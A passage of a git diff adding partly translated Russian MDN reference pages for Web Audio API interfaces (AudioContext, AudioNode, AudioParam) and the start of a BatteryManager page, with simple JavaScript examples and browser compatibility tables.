+ <dd>Создаёт объект {{domxref("JavaScriptNode")}}, используемый для непосредственной обработки звука в JavaScript. Этот метод устарел и заменён на {{domxref("AudioContext.createScriptProcessor()")}}.</dd>
+ <dt>{{domxref("AudioContext.createWaveTable()")}}</dt>
+ <dd>Создаёт объект {{domxref("WaveTableNode")}}, для определения периодической волны звукового сигнала. Этот метод устарел и заменён на {{domxref("AudioContext.createPeriodicWave()")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Простая декларация аудио-контекста:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext;</pre>
+
+<p>Кросс-браузерный вариант:</p>
+
+<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul style="margin-left: 40px;">
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Применение Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audionode/channelcount/index.html b/files/ru/web/api/audionode/channelcount/index.html
new file mode 100644
index 0000000000..0c6f8a2b8f
--- /dev/null
+++ b/files/ru/web/api/audionode/channelcount/index.html
@@ -0,0 +1,122 @@
+---
+title: AudioNode.channelCount
+slug: Web/API/AudioNode/channelCount
+translation_of: Web/API/AudioNode/channelCount
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p><code>channelCount</code> свойство интерфейса {{ domxref("AudioNode") }} представляющее собой целое число использующееся для определения того, сколько каналов участвуют для <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> соединений для любого входа узла.</p>
+</div>
+
+<p><code>Использование и точное значение channelCount</code>'s зависит от {{domxref("AudioNode.channelCountMode")}}:</p>
+
+<ul>
+ <li>Игнорируется если значение <code>channelCountMode</code> равно <code>max</code>.</li>
+ <li>Используется в качестве максимального значения, если значение <code>channelCountMode</code> равно <code>clamped-max</code>.</li>
+ <li>Используется в качестве точного значения, если значение <code>channelCountMode</code> указано явно.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js;highlight[11]">var oscillator = audioCtx.createOscillator();
+var channels = oscillator.channelCount;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight[11]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.channelCount;
+</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Целое.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioNode-channelCount', 'channelCount')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Использование Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audionode/context/index.html b/files/ru/web/api/audionode/context/index.html
new file mode 100644
index 0000000000..88a5e12bec
--- /dev/null
+++ b/files/ru/web/api/audionode/context/index.html
@@ -0,0 +1,113 @@
+---
+title: AudioNode.context
+slug: Web/API/AudioNode/context
+translation_of: Web/API/AudioNode/context
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Свойство интерфейса {{ domxref("AudioNode") }} возвращающее связанный {{domxref("AudioContext")}}, это объект, представляющий граф, в котором находится данный узел.<strong><em>(только для чтения)</em></strong></p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aContext</em> = <em>anAudioNode</em>.context;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{ domxref("AudioContext") }}.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight[11]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioNode-context', 'context')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Использование Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html
new file mode 100644
index 0000000000..42c5ab4016
--- /dev/null
+++ b/files/ru/web/api/audionode/index.html
@@ -0,0 +1,198 @@
+---
+title: AudioNode
+slug: Web/API/AudioNode
+translation_of: Web/API/AudioNode
+---
+<p>{{ APIRef("Web Audio API") }}<br>
+ <strong>AudioNode </strong>это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приемники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). </p>
+
+<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p>
+
+<p><code>AudioNode</code> имеет входы и выходы, каждый с заданным количеством <em>каналов</em>.<em> </em><code>AudioNode</code> без входов в с одним или несколькими выходами называются <em>источниками</em> (<em>source node)</em>. Результаты обработки передаются от одного AudioNode к другому, при этом каждый узел считывает только свой вход, производит обработку и представляет результат на свой выход, или просто пропускает аудио через себя (например {{domxref("AnalyserNode")}} где результат представляется отдельно).</p>
+
+<p>Разные узлы могут быть связаны в <em>граф обработки</em>. Граф помещается в {{domxref("AudioContext")}}. Один <code>AudioNode</code> может принадлежать только одному {{domxref("AudioContext")}}. В общем, узлы наследуют свойства и методы AudioNode, но они могут также и определять собственный функционал.Смотрите описания конкретных узлов на страницах этих узлов перечисленных на главной странице <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: An <code>AudioNode</code> can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.</p>
+</div>
+
+<h2 id="Свойства" style="">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("AudioNode.context")}} {{readonlyInline}}</dt>
+ <dd>Возвращает связанный {{domxref("AudioContext")}}, это объект, представляющий граф, в котором находится данный узел.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
+ <dd>Возвращает количество входов узла. Узлы определенные как источники имеют <code>numberOfInputs</code> равное 0.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}</dt>
+ <dd>Возвращает количество выходов узла. Узны назначения — такие как {{ domxref("AudioDestinationNode") }} — имеют количество выходов равное 0.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCount")}}</dt>
+ <dd>Это целое число, используемое для определения того, сколько каналов используются для <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> с любыми входами узла. Его использование точнее определяется значением {{domxref("AudioNode.channelCountMode")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCountMode")}}</dt>
+ <dd>Это перечисление описывающее путь согласования каналов между входом и выходом.</dd>
+ <dt>{{domxref("AudioNode.channelInterpretation")}}</dt>
+ <dd>Это перечисление описывающее каналы.Эта интерпретация описывает как будет происходить <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a>.<br>
+ ВОзможные значения <code>"speakers"</code> or <code>"discrete"</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Так же реализует методы из интерфейса </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("AudioNode.connect(AudioNode)")}}</dt>
+ <dd>Позволяет нам подключить один выход данного узла на один вход другого узла.</dd>
+ <dt>{{domxref("AudioNode.connect(AudioParam)")}}</dt>
+ <dd>Позволяет нам подключить один выход данного узла на параметрический вход другого.</dd>
+ <dt>{{domxref("AudioNode.disconnect()")}}</dt>
+ <dd>Позволяет нам отключить текущий узел от другого, уже подключенного узла.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот простой фрагмент кода показывает создание некоторых аудио узлов, и как можно использовать свойства и методы AudioNode. Вы можете найти примеры такого использования на любом из примеров, на странице <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>  (например <a href="https://github.com/mdn/violent-theremin">Violent Theremin</a>.)<span class="p"> </span></p>
+
+<pre class="brush: js;highlight[8,9,11,12,13,14]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>channelCount</code> <code>channelCountMode</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>connect</code><code>(AudioParam)</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>channelCount</code><br>
+    <code>channelCountMode</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>connect</code><code>(AudioParam)</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audioparam/index.html b/files/ru/web/api/audioparam/index.html
new file mode 100644
index 0000000000..bbe425dcb6
--- /dev/null
+++ b/files/ru/web/api/audioparam/index.html
@@ -0,0 +1,112 @@
+---
+title: AudioParam
+slug: Web/API/AudioParam
+tags:
+  - API
+  - Audio
+  - AudioParam
+  - Interface
+  - NeedsTranslation
+  - Parameter
+  - Reference
+  - TopicStub
+  - Web Audio API
+  - sound
+translation_of: Web/API/AudioParam
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p><span class="seoSummary">The Web Audio API's <code>AudioParam</code> interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}).</span> An <code>AudioParam</code> can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</p>
+
+<p>There are two kinds of <code>AudioParam</code>, <em>a-rate</em> and <em>k-rate</em> parameters:</p>
+
+<ul>
+ <li id="a-rate">An <em>a-rate</em> <code>AudioParam</code> takes the current audio parameter value for each <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_buffers.3A_frames.2C_samples_and_channels">sample frame</a> of the audio signal.</li>
+ <li id="k-rate">A <em>k-rate</em> <code>AudioParam</code> uses the same initial audio parameter value for the whole block processed, that is 128 sample frames. In other words, the same value applies to every frame in the audio as it's processed by the node.</li>
+</ul>
+
+<p>Each {{domxref("AudioNode")}} defines which of its parameters are <em>a-rate</em> or <em>k-rate</em> in the spec.</p>
+
+<p>Each <code>AudioParam</code> has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the <code>AudioParam.value</code> attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.maxValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the maximum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.minValue")}} {{readonlyinline}}</dt>
+ <dd>Represents the minimum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.value")}}</dt>
+ <dd>Represents the parameter's current value as of the current time; initially set to the value of {{domxref("AudioParam.defaultValue", "defaultValue")}}.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("AudioParam.setValueAtTime()")}}</dt>
+ <dd>Schedules an instant change to the value of the <code>AudioParam</code> at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given by the <code>value</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.linearRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual linear change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows a linear ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.exponentialRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual exponential change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows an exponential ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.setTargetAtTime()")}}</dt>
+ <dd>Schedules the start of a change to the value of the <code>AudioParam</code>. The change starts at the time specified in <code>startTime</code> and exponentially moves towards the value given by the <code>target</code> parameter. The exponential decay rate is defined by the <code>timeConstant</code> parameter, which is a time measured in seconds.</dd>
+ <dt>{{domxref("AudioParam.setValueCurveAtTime()")}}</dt>
+ <dd>Schedules the values of the <code>AudioParam</code> to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.</dd>
+ <dt>{{domxref("AudioParam.cancelScheduledValues()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelAndHoldAtTime()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code> but holds its value at a given time until further changes are made using other methods.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p>
+
+<pre class="brush: js notranslate">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;</pre>
+
+<p>Next, an example showing a {{ domxref("DynamicsCompressorNode") }} having some param values maniuplated. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p>
+
+<pre class="brush: js notranslate">var compressor = audioCtx.createDynamicsCompressor();
+compressor.threshold.setValueAtTime(-50, audioCtx.currentTime);
+compressor.knee.setValueAtTime(40, audioCtx.currentTime);
+compressor.ratio.setValueAtTime(12, audioCtx.currentTime);
+compressor.attack.setValueAtTime(0, audioCtx.currentTime);
+compressor.release.setValueAtTime(0.25, audioCtx.currentTime);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioParam', 'AudioParam')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.AudioParam")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html
new file mode 100644
index 0000000000..f60d3e7d99
--- /dev/null
+++ b/files/ru/web/api/audioparam/setvalueattime/index.html
@@ -0,0 +1,97 @@
+---
+title: AudioParam.setValueAtTime()
+slug: Web/API/AudioParam/setValueAtTime
+translation_of: Web/API/AudioParam/setValueAtTime
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p class="summary"><code>setValueAtTime()</code> метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение дается в значении параметра.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Число с плавающей точкой представляет значение AudioParam изменяемое в данное время.</dd>
+ <dt>startTime</dt>
+ <dd>A double representing the time (in seconds) after the {{domxref("AudioContext")}} was first created that the change in value will happen. A {{jsxref("TypeError")}} is thrown if this value is negative.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>A reference to this <code>AudioParam</code> object. In some browsers older implementations of this interface return void.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This simple example features a media element source with two control buttons (see our <a href="https://github.com/mdn/webaudio-examples/blob/master/audio-param/index.html">webaudio-examples repo</a> for the source code, or <a href="https://mdn.github.io/webaudio-examples/audio-param/">view the example live</a>). When the buttons are pressed, the <code>currGain</code> variable is incremented/decremented by 0.25, then the <code>setValueAtTime()</code> method is used to set the gain value equal to <code>currGain</code>, one second from now (<code>audioCtx.currentTime + 1</code>.)</p>
+
+<pre class="brush: js;highlight[32,37] notranslate">// create audio context
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+// set basic variables for example
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+var targetAtTimePlus = document.querySelector('.set-target-at-time-plus');
+var targetAtTimeMinus = document.querySelector('.set-target-at-time-minus');
+
+// Create a MediaElementAudioSourceNode
+// Feed the HTMLMediaElement into it
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Create a gain node and set it's gain value to 0.5
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0.5;
+var currGain = gainNode.gain.value;
+
+// connect the AudioBufferSourceNode to the gainNode
+// and the gainNode to the destination
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// set buttons to do something onclick
+targetAtTimePlus.onclick = function() {
+  currGain += 0.25;
+  gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}
+
+targetAtTimeMinus.onclick = function() {
+  currGain -= 0.25;
+  gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-audioparam-setvalueattime', 'setValueAtTime')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.AudioParam.setValueAtTime")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/batterymanager/index.html b/files/ru/web/api/batterymanager/index.html
new file mode 100644
index 0000000000..02e7fdc7a2
--- /dev/null
+++ b/files/ru/web/api/batterymanager/index.html
@@ -0,0 +1,72 @@
+---
+title: BatteryManager
+slug: Web/API/BatteryManager
+translation_of: Web/API/BatteryManager
+---
+<p>{{APIRef}}</p>
+
+<p>Интерфейс <code>BatteryManager</code> предоставляет пути получения информации о уровне заряда батареи устройства.</p>
+
+<p>Метод {{domxref("navigator.getBattery()")}} возвращает battery promise, разрешающий использование <code>BatteryManager</code> интерфейса, который вы можете использовать для взаимодействия с <a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}</dt>
+ <dd>Значение с булевым типом, заряжается сейчас батарея или нет.</dd>
+ <dt>{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>Число оставшихся секунд до полной зарядки, или 0, если устройство заряжено.</dd>
+ <dt>{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}</dt>
